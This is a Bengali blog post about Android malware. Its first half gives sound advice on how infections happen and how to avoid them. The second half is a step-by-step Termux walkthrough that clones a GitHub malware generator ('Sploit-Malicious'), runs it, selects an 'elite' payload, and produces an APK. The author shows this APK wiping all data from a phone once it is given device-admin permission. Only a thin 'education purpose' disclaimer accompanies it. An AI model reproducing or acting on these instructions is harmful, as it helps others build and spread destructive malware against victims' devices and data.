আসসালামু আলাইকুম । আশা করি সকলে ভালো আছেন । আমিও আলহামদুলিল্লাহ আপনাদের দোয়ায় অনেক ভালো আছি।
Malicious কি?
Malware ইংরেজি শব্দ হলো Malicious ( ক্ষতিকর সফটওয়্যার) ।আমরা সবাই তো malware নাম শুনছি কিন্তু malware এর ভিতরে কিছু ভাগ আছে example : Trojan, spyware, Phishing, torrent আরো অনেক গুলো।ম্যালওয়্যার মূলত: একটা কম্পিউটার বা মোবাইলের ডাটা চুরি করে থাকে ।এখন আপনার মনে প্রশ্ন হচ্ছে ম্যালওয়্যার কিভাবে প্রবেশ করে। ম্যালওয়্যার প্রবেশ করার অনেক গুলো উপায় আছে তার ভিতরে কিছু বিষয় তুলে ধরা হলো।
- আমরা সবাই কমবেশি ব্রাউজিং করে থাকি। এমন অনেক ওয়েবসাইট সেখানে প্রবেশ করতেই ads আসে cookies আছে। আমরা না জেনেই তারপর উপর ক্লিক করি এবং ফোনে আমাদের অজান্তেই ম্যালওয়্যার ইনস্টল হয়ে যায়।
- আমরা অনেকেই পেইড অ্যাপস গুলো ডাউনলোড করার জন্য অনেক ওয়েবসাইটে crack or Mod অ্যাপস ডাউনলোড করে থাকি। এই mod or crack অ্যাপসর ভিতরে হ্যাকার malware bind করে রাখে এবং আপনার অজান্তেই ডাটা চুরি করে ফেলে।
- আমরা অনেক সময় ফিশিং লিংক দেখতে পাই। আমরা হয়তো কিছু পাওয়া লোভে সেই লিংকে প্রবেশ করি। কিন্তু আমরা জানি না যে সেই লিংকে malware আছে ।
- এছাড়াও আরো অনেক ভাবে ম্যালওয়্যার আপনার ফোনে প্রবেশ করতে পারে এবং আপনা গুরুত্বপূর্ণ ডাটা চুরি করতে পারে।
ম্যালওয়্যার থেকে কিভাবে নিরাপদে থাকবো :
- প্রথমত আমরা কোন crack or mod অ্যাপস ব্যবহার করবো না।
- অনলাইনে / অপরিচিত কারো দেয়া কোনো লিংক/এপ না জেনে, বুঝে কোনোভাবেই ওপেন করা যাবেনা / অজানা কোন লিংকে প্রবেশ করবেন না।
- কেউ যদি বলে এই অ্যাপস ব্যবহার করলে আপনি এই এই পাবে অবশ্যই তখন যাচাই বাচাই করে অ্যাপস ইনস্টল করবেন।
- সব সময় ফোনের security app গুলো ব্যবহার করবেন। Default যেগুলো থাকে।
- অবশ্যই ফোনের unknown source অপশন অফ রাখবেন যেন যে কোন অ্যাপস ইনস্টল হওয়ার আগে আপনার পারমিশন লাগে ।
- অবশ্যই play store থেকে play protect অন রাখবেন।
- কোন অ্যাপসকে অযথা Devise administrator পারমিশন দিবেন না।
আশা করি উপরোক্ত পদ্ধতি গুলো ফলে করলে আপনি ম্যালওয়্যার থেকে রক্ষা পেতে পারেন।
আপনি নিজে কিভাবে ম্যালওয়্যার তৈরি করতে পারেন সেই ট্রিক আজকে শেয়ার করবো।
যা যা প্রয়োজন :
1) Android Phone
2) Termux
3) Internet connection
প্রথমে termux কে আপডেট দিবো।
pkg update
Git package ইনস্টল দিতে হবে।
pkg install git
Python2 package ইনস্টল দিতে হবে ।
pkg install python2
Ruby প্যাকেজ ইনস্টল দিবো।
pkg install Ruby
lolcat package টি ইনস্টল দিবো
gem install lolcat
আমরা গিটহাব থেকে টুলসটি ডাউনলোড দিবো।
git clone https://github.com/TheSploit/Sploit-Malicious
ডাউনলোড শেষ হলে ls দিবো cd (file name ) দিয়ে ফাইলটির ভিতরে প্রবেশ করবো।
cd Sploit-Malicious
requirements গুলো ডাউনলোড করতে হবে।
pip2 install -r requirements.txt
Requirements ডাউনলোড শেষ হলে আমরা টুলসটি রান করবো।
python2 malicious.py
রান হয়ে গেলে আমরা ১ সিলেক্ট করবো। যেহেতু আমরা অ্যান্ড্রয়েড ফোনের জন্য করবো তাই 1 দিবো।চাইলে আপনি অন্য গুলো ও ব্যবহার করতে পারেন।
অনেক গুলো malware দেখতে পারেন আমি 15 > elite সিলেক্ট করে নিলাম।
আমাদের malicious টি তৈরি হয়ে গেছে ।
ls দিবো
cd android ফোল্ডের ভিতরে প্রবেশ করবো।
cd Android
ফোল্ডের ভিতরে প্রবেশের পর দিবো elite apk টি দেখতে পাবো।
অ্যাপসটি copy or move যেটা ইচ্ছে দিয়ে ফোন স্টোরেজ নিয়ে যাবো।
Copy > cp Elite.apk /sdcard
Move > mv Elite.apk /sdcard
দেখতে পাচ্ছেন আমার ফোন স্টোরেজ চলে আচ্ছে।
আপনাদের দেখানোর জন্য আমি অন্য একটা ফোনে অ্যাপসটি ইনস্টল দিবো ।
ইনস্টল হয়ে গেলে এই রকম পারমিশন চাইবে আপনি activate করে দিবেন।
সাথে সাথে আপনার ফোনের সকল ডাটা উধাও হয়ে যাবে।
দেখতে পাচ্ছেন ইনস্টল দেওয়ার সাথে সাথে সব উধাও করে দিছে। তো আজ এই পর্যন্তই ভালো থাকবেন সুস্থ থাকবেন ।
সতর্কবার্তা :
এই অ্যাপস দিয়ে শত্রু আপনার তথ্য চুরি করতে পারে তাই সতর্কতার সাথে অ্যাপস ইনস্টল করবেন এবং পারমিশন দিবেন ।
বি:দ্র :
যদি কেউ খারাপ কাজে ব্যবহার করেন থাকেন তাহলে আমি এবং ট্রিকবিডি দায়ী থাকবো না । এই গুলো শুধু education perpose এর জন্য শিখানো ।